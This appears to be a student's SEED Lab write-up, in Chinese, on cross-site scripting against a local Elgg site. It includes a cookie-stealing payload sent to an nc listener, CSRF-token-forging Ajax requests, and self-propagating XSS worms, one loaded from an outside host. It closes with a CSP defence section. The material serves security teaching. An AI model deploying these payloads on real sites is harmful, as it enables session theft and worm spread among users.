首页 > 其他分享 >SEEDLab —— 跨站脚本(XSS)攻击实验

SEEDLab —— 跨站脚本(XSS)攻击实验

时间:2024-12-07 15:54:41浏览次数:5  
标签:XSS www 跨站 elgg SEEDLab ts token var com

【软件安全】实验4 跨站脚本(XSS)攻击实验


目录

Task 1: 上传恶意消息以显示警告窗口

此任务的目标是在 Elgg 的个人资料中嵌入一个 JavaScript 程序,以便当其他用户查看你的个人资料时会执行 JavaScript 程序并显示一个警告窗口。

1. 直接嵌入

以下的 JavaScript 代码将显示一个警告窗口:

<script>alert('XSS');</script>

下面我将使用 Alice 的账户做测试,实现显示警告窗口:

  1. 首先登陆 Alice 的账户,用户账户如下所示:
----------------------------
UserName | Password
----------------------------
admin    | seedelgg
alice    | seedalice
boby     | seedboby
charlie  | seedcharlie
samy     | seedsamy
----------------------------
  1. 依次点击 Account -> Edit profile 进入个人资料编辑页面,在 brief description 处写入 JavaScript 代码:
image-20241106085104577
  1. 保存并刷新页面,显示了警告弹窗。
image-20241106085320978

2. 通过 src 属性引用嵌入

2.1 搭建一个本地 Web 服务器

  1. 创建一个目录,在目录下创建 JavaScript 脚本文件 xss_worm.js
  2. 使用命令 python3 -m http.server 9999 启动 Web 服务。
  3. /etc/hosts 文件中设置域名,将 127.0.0.1 映射到 www.miyu.com
  4. 使用 http://www.miyu.com:9999/myscripts.js 访问 JS 脚本。

image-20241108214455029

2.2 使用 src 属性引用

如果你的 JavaScript 脚本过长,可以将 JavaScript 程序保存在文件中,然后使用 src 属性引用。

<script type="text/javascript"
	src="http://www.miyu.com:9999/myscripts.js">
</script>

访问主页,如下所示:

image-20241108215304951

Task 2:上传恶意代码以显示 Cookies

此任务的目标是在你的 Elgg 的个人资料中嵌入一个 JavaScript 程序,使得当其他用户查看你的个人资料时该用户的 cookies 将显示在警告窗口中。

修改 Task 1 的代码,使用 document.cookie 获取当前页面的所有cookies:

<script>alert(document.cookie);</script>

效果如下所示:

image-20241106092710107

Task 3:窃取受害者机器的 Cookies

在前一个任务中,攻击者编写的恶意 JavaScript 代码可以打印出用户的 cookies,但只有用户可以看到 cookies,而不是攻击者。在这个任务中,攻击者希望 JavaScript 代码将用户 cookies 发送给自己。

我们可以使用 <img> 标签实现 cookies 的发送,当 <img> 标签被插入到页面时,浏览器发出 URL 请求,利用 URL 请求,将 cookies 发送到攻击者的服务器。

<script>
	document.write('<img src=http://10.9.0.1:5555?c='+ escape(document.cookie) + ' >');
</script>

同时,我们使用 netcat(nc) 监听 5555 端口,使用如下命令:

nc -lknv 5555
  • -l 参数表示 nc 监听的是一个传入连接。
  • -nv 参数用于显示更详细的输入。
  • -k 参数表示当一个连接完成时,监听另一个连接。

实验结果如下所示:

image-20241106172300243 image-20241106172429989

可以发现红框中的部分为访问者的 Cookie 信息,成功窃取到了受害者的 Cookie。

Task 4:成为受害者的朋友

我们将编写一个 XSS 蠕虫,使得任何其他访问 Samy 页面的用户都会加 Samy 为朋友。

1. 确定参数

在编写恶意的 JavaScript 程序之前,我们需要先搞清楚添加朋友是通过请求哪些参数来实现的,使用 FireFox 的插件 HTTP header live 可以获取发送朋友请求时的全部请求信息,我们先登陆 Samy 的账户,并对 Alice 发送好友请求,并使用 HTTP header live 插件来捕获信息。

依次点击 Members -> Alice -> Add friend 即可添加好友,点击 Add friend 时捕获到的 GET 请求如下所示:

http://www.seed-server.com/action/friends/add?friend=56&__elgg_ts=1730886267&__elgg_token=QsFgZUqbfQ83KK3rUNkHhQ&__elgg_ts=1730886267&__elgg_token=QsFgZUqbfQ83KK3rUNkHhQ

image-20241106174738340

我们发现想要完成添加好友的操作,必须获取几个参数:

  • friend 编号,可以得出 Samy 的编号为 59
  • __elgg_ts 参数
  • __elgg_token 参数

2. 编写 JavaScript 脚本

根据第一步的分析,我们可以写出如下JS脚本:

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;

	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; //(1)
	var token="&__elgg_token="+elgg.security.token.__elgg_token; //(2)

	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token; //FILL IN

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.send();
}
</script>

3. 攻击测试

  1. 首先登陆 Alice 的账户,确认其没有添加 Samy 的好友。
image-20241106181917539
  1. 点击 Samy 的 Profile,并查看好友列表,发现自动添加了 Samy 的好友。
image-20241106182340428 image-20241106182348043

4. Q & A

  • Q1:解释第 (1) 行和第 (2) 行的目的,为什么需要这两行?

    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;用于获取一个时间戳(__elgg_ts)的值,可以用于防止 CSRF(跨站请求伪造)攻击,它可以确保请求是由合法用户发出的,并且请求的时间窗不会过期。

    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;用于获取一个 CSRF 令牌,也是为了防止 CSRF 攻击,它可以确保请求没有被篡改。

  • Q2:如果 Elgg 应用程序仅为“About Me”部分提供编辑器模式,即你无法切换到文本模式,你还能成功发起攻击吗?

    不可以,因为编辑器模式会对部分符号进行转义,而且会给每一行加上 <p> 标签,并在行末加入 <br /> 换行符,使得我们的 JavaScript 脚本无法执行,如下所示:

    <p>&lt;script type="text/javascript"&gt;<br />
    window.onload = function () {<br />
    &nbsp;&nbsp; &nbsp;var Ajax=null;</p>
    
    <p>&nbsp;&nbsp; &nbsp;var ts="&amp;__elgg_ts="+elgg.security.token.__elgg_ts; //(1)<br />
    &nbsp;&nbsp; &nbsp;var token="&amp;__elgg_token="+elgg.security.token.__elgg_token; //(2)</p>
    
    <p>&nbsp;&nbsp; &nbsp;//Construct the HTTP request to add Samy as a friend.<br />
    &nbsp;&nbsp; &nbsp;var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token; //FILL IN</p>
    

Task 5:修改受害者的个人资料

这个任务的目标是在受害者访问 Samy 的界面时修改受害者的个人资料。

1. 确定参数

修改 Profile 的时候使用插件 HTTP Header Live 抓取 URL,发现修改时会发送一个 POST 请求:

image-20241108200443299

发送了一个这样的请求:

__elgg_token=ve9v_2hFvL5So_x9hQc_xg&__elgg_ts=1731067312&name=Samy&description=<p>1111</p>&guid=59

于是我们需要获取一下参数:

  • __elgg_token: CSRF 令牌
  • __elgg_ts:时间戳
  • name:用户名
  • description:修改的内容
  • guid:用户id,samy 的 guid 为 59

2. 编写 JavaScript 脚本

根据第一步的分析,我们可以写出如下脚本:

<script type="text/javascript">
window.onload = function(){
	//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
	//and Security Token __elgg_token
	var userName="&name="+elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	//Construct the content of your url.
	var content=token+ts+userName+"&description=Your profile has been changed!!!"+guid; //FILL IN

	var samyGuid=59; //FILL IN

	var sendurl="http://www.seed-server.com/action/profile/edit"; //FILL IN

	if(elgg.session.user.guid!=samyGuid) 
	{
		//Create and send Ajax request to modify profile
		var Ajax=null;
		Ajax=new XMLHttpRequest();
		Ajax.open("POST", sendurl, true);
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		Ajax.send(content);
	}
}
</script>

3. 攻击测试

登录 Alice 的账户,访问 Samy 的主页,发现 Alice 的 About me 改成了 JavaScript 脚本中设置的 Your profile has been changed!!!

image-20241108203737801

4. Q & A

  • Q3:我们为什么需要第 (1) 行?删除这行,重复你的攻击。报告并解释你的观察结果。

    这行判断用户的 guid 是否是 Samy 的 guid,如果不是,再发送 POST 请求进行攻击,这样可以防止 Samy 自己被攻击。

    如果删除第一行,samy 自己也会受到攻击,删除这行,重复攻击,如下所示:

    image-20241108204725696

    可以发现 Samy 的恶意脚本也被替换成了 Your profile has been changed!!!,导致无法进行下一次的攻击。

Task 6:编写自传播 XSS 蠕虫

恶意 JavaScript 程序要成为真正的蠕虫,应该要实现自传播。也就是说,每当有人查看受感染的个人资料时,他们的个人资料不仅会被修改,蠕虫还会传播到他们的个人资料中,进一步影响查看这些新感染资料的其他人。在这个任务中,你需要实现这样一个蠕虫,它不仅修改受害者的个人资料并将用户“Samy”添加为朋友,还将蠕虫本身的副本添加到受害者的个人资料中,这样受害者就变成了攻击者。

<script type="text/javascript" src="http://www.miyu.com:9999/xss_worm.js"></script>

可以使用 src 属性嵌入恶意脚本,并利用这个恶意脚本将以上这段代码传递到其他人的 Profile,这样就实现了自传播的 XSS 蠕虫。

以下是 xss_worm.js 的实现:

window.onload = function(){
	//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
	//and Security Token __elgg_token
	var userName="&name="+elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	//Construct the content of your url.
	var content=token+ts+userName+"&description=<p>Your profile has been changed!!!<\/p><script type=\"text\/javascript\" src=\"http:\/\/www.miyu.com:9999\/xss_worm.js\"><\/script>"+guid; //FILL IN

	var samyGuid=59; //FILL IN

	var sendurl1="http://www.seed-server.com/action/profile/edit"; //change profile
    
    var sendurl2="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token; //add samy

	if(elgg.session.user.guid!=samyGuid) 
	{
		//Create and send Ajax request to modify profile
		var Ajax=null;
		Ajax=new XMLHttpRequest();
		Ajax.open("POST", sendurl1, true);
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		Ajax.send(content);
	}
    Ajax=new XMLHttpRequest();
	Ajax.open("GET", sendurl2, true);
	Ajax.send();
}

测试:

  • 登录 Alice 的账户,点击 Samy 的主页,发现 Alice 的主页被感染,同时自动加了 Samy 为好友:
image-20241108232517098 image-20241111142824533
  • 登录 boby 的账户,点击 Alice 的主页,发现 Boby 的主页也被感染,也自动添加了 Samy 为好友:
image-20241108232724981 image-20241111143014197

这说明我们编写的这个 xss 蠕虫是自传播的,而且所有访问过 Samy 主页的人都会感染这个蠕虫并可以继续传播给别人。

2. DOM 方法

编写 XSS 蠕虫还可以使用 DOM APIs 从网页中检索自身的副本,从而将蠕虫传播到另一个人的资料中。

下面的 JS 代码能获取自身的副本,并显示在网页上:

<script id="worm">
	var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; //(1)
	var jsCode = document.getElementById("worm").innerHTML; //(2)
	var tailTag = "</" + "script>"; //(3)

	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); //(4)

	alert(jsCode);
</script>
image-20241111144428211

利用上面的机制,我们可以编写一个 xss 蠕虫:

<script id="worm">
window.onload = function(){
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; // (1)
	var jsCode = document.getElementById("worm").innerHTML; // (2)
	var tailTag = "</" + "script>"; // (3)
	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); // (4)
	//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
	//and Security Token __elgg_token
	var userName="&name="+elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var description="&description=<p>Your profile has been changed!!!"+wormCode;

	//Construct the content of your url.
	var content=token+ts+userName+description+guid; //FILL IN

	var samyGuid=59; //FILL IN

	var sendurl1="http://www.seed-server.com/action/profile/edit"; //change profile
    
    var sendurl2="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token; //add samy

	if(elgg.session.user.guid!=samyGuid) 
	{
		//Create and send Ajax request to modify profile
		var Ajax=null;
		Ajax=new XMLHttpRequest();
		Ajax.open("POST", sendurl1, true);
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		Ajax.send(content);
	}
    Ajax=new XMLHttpRequest();
	Ajax.open("GET", sendurl2, true);
	Ajax.send();
}
</script>

测试:

首先登陆 Alice 的账户,访问 Samy 的主页,发现 Alice 自动添加了 Samy 的好友,而且 Alice 的主页被感染。

image-20241111150822060 image-20241111142824533

然后登陆 Boby 的账户,访问 Alice 的主页,发现 Boby 也自动添加了 Samy 的好友,而且 Samy 的主页被感染。

image-20241111151026096 image-20241111143014197

这样就说明了这个 XSS 蠕虫是自传播的,而且使用 DOM 方法实现。

Task 7:使用 CSP 抵御 XSS 攻击

访问以下三个URL:

1. 网页前端代码分析

这三个网页的源码如下所示:

<html>
<h2>CSP Experiment</h2>
<p>1. Inline: Nonce (111-111-111): <span id='area1'>Failed</span></p>
<p>2. Inline: Nonce (222-222-222): <span id='area2'>Failed</span></p>
<p>3. Inline: No Nonce: <span id='area3'>Failed</span></p>
<p>4. From self: <span id='area4'>Failed</span></p>
<p>5. From www.example60.com: <span id='area5'>Failed</span></p>
<p>6. From www.example70.com: <span id='area6'>Failed</span></p>
<p>7. From button click:
<button onclick="alert('JS Code executed!')">Click me</button></p>

<script type="text/javascript" nonce="111-111-111">
document.getElementById('area1').innerHTML = "OK";
</script>

<script type="text/javascript" nonce="222-222-222">
document.getElementById('area2').innerHTML = "OK";
</script>

<script type="text/javascript">
document.getElementById('area3').innerHTML = "OK";
</script>

<script src="script_area4.js"> </script>
<script src="http://www.example60.com/script_area5.js"> </script>
<script src="http://www.example70.com/script_area6.js"> </script>
</html>

这个 HTML 页面用于测试内容安全策略(Content Security Policy, CSP)分为了 7 个测试部分:

  1. 使用 nonce="111-111-111" 的内联 JavaScript
  2. 使用 nonce="222-222-222" 的内联 JavaScript
  3. 没有 nonce 的内联 JavaScript
  4. 从同源加载的外部脚本
  5. www.example60.com 加载的外部脚本
  6. www.example70.com 加载的外部脚本
  7. 通过按钮点击触发内联 JavaScript

2. CSP 策略设置文件

/etc/apache2/sites-available/apache_csp.conf 文件中保存了以上三个网页的 CSP 策略:

# Purpose: Do not set CSP policies
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32a.com
    DirectoryIndex index.html
</VirtualHost>

# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \
             default-src 'self'; \
             script-src 'self' *.example70.com \
           "
</VirtualHost>

# Purpose: Setting CSP policies in web applications
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32c.com
    DirectoryIndex phpindex.php
</VirtualHost>

# Purpose: hosting Javascript files
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example60.com
</VirtualHost>

# Purpose: hosting Javascript files
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example70.com
</VirtualHost>

3. Q & A

3.1 描述并解释你访问这些网站时的观察结果。

image-20241111154832471

7 个测试均为 OK,原因是 www.example32a.com 没有设置 CSP 安全策略

image-20241111163550043

可以发现前两个关于 Nonce 的测试都为 Failed,原因是 CSP 策略中没有添加相关的 Nonce 值,这会导致它们无法执行。第三项无 Nonce 值的也无法执行,原因是默认情况下,CSP 会阻止所有未带 nonce 的内联脚本,除非策略中明确允许。第四项和第六项可以执行是因为 CSP 策略中设置了可以加载同源的或者来自 www.example70.com 的 JS 脚本。第五项无法执行是由于 CSP 策略中没有允许加载来自 www.example60.com 的 JS 脚本。

image-20241111164429770

可以发现第一项、第四项、第六项可以执行,原因是 phpindex.php指定了 CSP 策略,如下所示:

<?php
  $cspheader = "Content-Security-Policy:".
               "default-src 'self';".
               "script-src 'self' 'nonce-111-111-111' *.example70.com".
               "";
  header($cspheader);
?>

<?php include 'index.html';?>

允许了 Nonce 为 nonce-111-111-111 的 JS 脚本执行,并且允许同源的或者来自 www.example70.com 的 JS 脚本。

3.2 点击所有三个网站网页中的按钮,描述并解释你的观察结果。

image-20241111164956777

可以发现通过按键触发的 JS 代码可以执行,原因是该网站没有设置 CSP 策略。

image-20241111165235802

可以发现通过按键触发的 JS 代码不能执行,原因是按键触发属于内联事件,而 CSP 策略中设置了可以加载同源的或者来自 www.example70.com 的 JS 脚本,默认是无法执行内联事件的,所以不能执行。

image-20241111165705457

也是无法执行的,原因同上。

3.3 更改 example32b 上的服务器配置(修改 Apache 配置),使 Areas 5 和 6 显示 OK。请在实验报告中写出你修改的配置。

修改/etc/apache2/sites-available/apache_csp.conf配置为:

# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \
             default-src 'self'; \
             script-src 'self' *.example70.com *.example60.com \
           "
</VirtualHost>

保存并重启 Apache 服务:

$ service apache2 restart

刷新页面:

image-20241111172328742

3.4 更改 example32c 上的服务器配置(修改 PHP 代码),使 Areas 1、2、4、5 和 6 都显示 OK。请在实验报告中写出你修改的配置。

修改 /var/www/csp/phpindex.php,如下所示:

<?php
  $cspheader = "Content-Security-Policy:".
               "default-src 'self';".
               "script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222' *.example60.com *.example70.com
               "";
  header($cspheader);
?>

<?php include 'index.html';?>

保存并重启 Apache 服务:

$ service apache2 restart

刷新页面:

image-20241111173400228

3.5 请解释为什么 CSP 可以帮助防止跨站脚本攻击。

  1. 限制脚本来源:可以指定只能执行同源的或者指定地址的 JS 脚本,防止未经允许的脚本执行。
  2. 阻止内联脚本执行:可以防止攻击者在页面中插入恶意的 Button,点击后执行恶意脚本。
  3. 使用 Nonce 验证合法的脚本:只有带有正确 Nonce 的 JS 脚本才能执行,从而无法执行恶意脚本。

标签:XSS,www,跨站,elgg,SEEDLab,ts,token,var,com
From: https://www.cnblogs.com/Smera1d0/p/18592309

相关文章

  • SEEDLab —— 环境变量与 Set-UID 实验
    【软件安全】实验1——环境变量与Set-UID实验Task1:配置环境变量使用printenv或env指令来打印环境变量:​ 如果只想打印特定的环境变量,如PWD变量,可以使用printenvPWD或者env|grepPWD使用export和unset来设置或者取消环境变量使用export设置环境变量:​ 比如现......
  • SEEDLab —— 缓冲区溢出实验
    【软件安全】实验2缓冲区溢出漏洞目录【软件安全】实验2缓冲区溢出漏洞环境设置关闭反制措施地址空间布局随机化配置/bin/shTask1:熟悉shellcodeC语言版本的shellcode32bitshellcode64bitshellcode调用shellcodeTask2:理解漏洞程序源码解释编译Task3:对32-bit程序实施攻击(Le......
  • 小程序开发WXSS语法:距离单位 vh 、px 、% 在各种组件属性设置中区别
    一、引言在小程序的WXSS样式设计中,有许多组件属性用于控制布局和间距。像width、height、padding、margin等属性在设置时可以使用不同的单位,如vh、px和%,它们各自具有独特的性质和应用场景。理解这些单位在不同组件属性中的区别对于创建精确且灵活的小程序界面布局至关......
  • xss-labs通关(1--18)
    level1:在name中传入参数时直接插入到HTML中,可以直接在name后插入js代码。level2:直接在搜索框输入上一题的代码查看源码发现value中的代码特殊符号没有被实体转义可以闭合掉">,构造payload  level3:随机输入查看源码发现是单引号闭合,输入'><script>alert()</scrip......
  • XSS漏洞详细讲解(初学者必看)
    前言:要深入理解XSS漏洞,掌握Web应用的基本原理非常关键。XSS攻击本质上是通过注入恶意的JavaScript代码到Web页面中,从而使得攻击者可以在用户浏览页面时执行恶意脚本。因此,理解Web应用如何处理输入、渲染、执行脚本等方面的基本原理非常重要。一、Web应用的基本原理:1.HTM......
  • XSSFSheet复制页面设置
    XSSFSheet复制页面设置publicvoidCopyPrintSetup(XSSFSheetsrcSheet,XSSFSheettgtSheet,){IPrintSetupsrcSheetPs=srcSheet.PrintSetup;IPrintSetuptgtSheetPs=tgtSheet.PrintSetup;varproperties=tgtSheetP......
  • Web 安全必读:跨站脚本攻击 (XSS) 原理与防御指南
    文章目录原理解析:触发方式文件内容中的xss文件名中的xssHTTP请求中的xss其他分类:根据攻击脚本存储的方式根据脚本是否通过服务器处理根据持久性常见的js触发标签无过滤情况有过滤情况xss-labs通关level1-level10level11-level20XSS(Cross-SiteScripting,跨站脚本......
  • DVWA靶场——XSS(Stored)
    一,StoredXSS漏洞详解存储型跨站脚本攻击(StoredXSS,或称为PersistentXSS)是一种常见的跨站脚本攻击(XSS)类型,它通过将恶意脚本(通常是JavaScript代码)直接存储在受害者访问的服务器上,使得攻击者能够在后续访问时执行这些脚本。与反射型XSS不同,存储型XSS不仅仅是立即在用户......
  • pikachu平台xss漏洞详解
    声明:文章只是起演示作用,所有涉及的网站和内容,仅供大家学习交流,如有任何违法行为,均和本人无关,切勿触碰法律底线文章目录概述:什么是xss一、反射型XSS1.get2.post二、存储型XSS三、DOM型XSS四、DOM型XSS-X五、xss之盲打六、xss之过滤七、xss之htmlspecialchars八、xss......
  • 3-XSS渗透与防御
    1、HTTP协议回顾XSS又名跨站脚本攻击web页面登陆页面,往往有一个“记住密码”功能--->Cookie1.1HTTP流程1.2HTTP特点:请求应答模式灵活可拓展可靠传输无状态stateless--客户端每次请求都是完全独立的,没有任何联系2、客户端的Cookie显示:每个请求都是独立的需求......